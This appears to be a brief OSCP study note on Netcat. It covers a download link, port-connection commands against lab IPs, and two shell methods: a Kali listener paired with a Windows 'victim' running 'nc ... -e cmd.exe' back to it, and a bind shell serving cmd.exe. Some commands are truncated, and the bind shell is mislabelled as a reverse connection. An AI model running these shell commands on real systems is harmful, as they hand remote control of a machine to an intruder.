OSCP Security Technology - Netcat

OSCP Security Technology - Netcat

Netcat

Download Netcat for windows from following website.

https://eternallybored.org/misc/netcat/

OSCP Security Technology - Netcat

nc -nv 192.168.2.28 443
nc -nv 192.168.2.28 80
nc -nv 192.168.2.28 111
nc -nv 192.168.2.28 112

OSCP Security Technology - Netcat

Method 1

Listen on port 4444

Kali Linux:

nc -nvlp 4444

OSCP Security Technology - Netcat

Windows (Victim computer)

 -nv 192.168.2.24 4444 -e cmd.exe

OSCP Security Technology - Netcat

Kali: Established the connection.

OSCP Security Technology - Netcat

Method 2

Reverse connection.

-nvlp 4444 -e cmd.exe

OSCP Security Technology - Netcat

nc -nv 192.168.2.31 4444

OSCP Security Technology - Netcat

上一篇:OSCP Security Technology - Compiling an Exploit


下一篇:playbook编写分布式lnmp